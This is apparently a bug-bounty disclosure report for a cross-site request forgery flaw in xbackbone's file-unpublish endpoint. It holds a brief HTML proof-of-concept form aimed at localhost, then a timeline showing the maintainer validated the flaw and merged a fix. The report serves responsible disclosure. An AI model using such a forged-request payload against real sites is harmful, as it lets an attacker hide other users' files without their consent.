Cross-Site Request Forgery (CSRF) in sergix44/xbackbone


Reported on

Jul 30th 2021

✍️ Description

following endpoint vulnerable to CSRF: /omeka/upload/1/unpublish Also there is not any different that you run The application in localhost or some real hosts, this is enough to login with a browser that used the browser for online web surfacing too.

🕵️‍♂️ Proof of Concept

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/omeka/upload/1/unpublish" >
      <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of hide any file.


We have contacted a member of the sergix44/xbackbone team and are waiting to hear back a year ago
Sergio Brighenti validated this vulnerability a year ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Sergio Brighenti confirmed that a fix has been merged on 840208 a year ago
Sergio Brighenti has been awarded the fix bounty
to join this conversation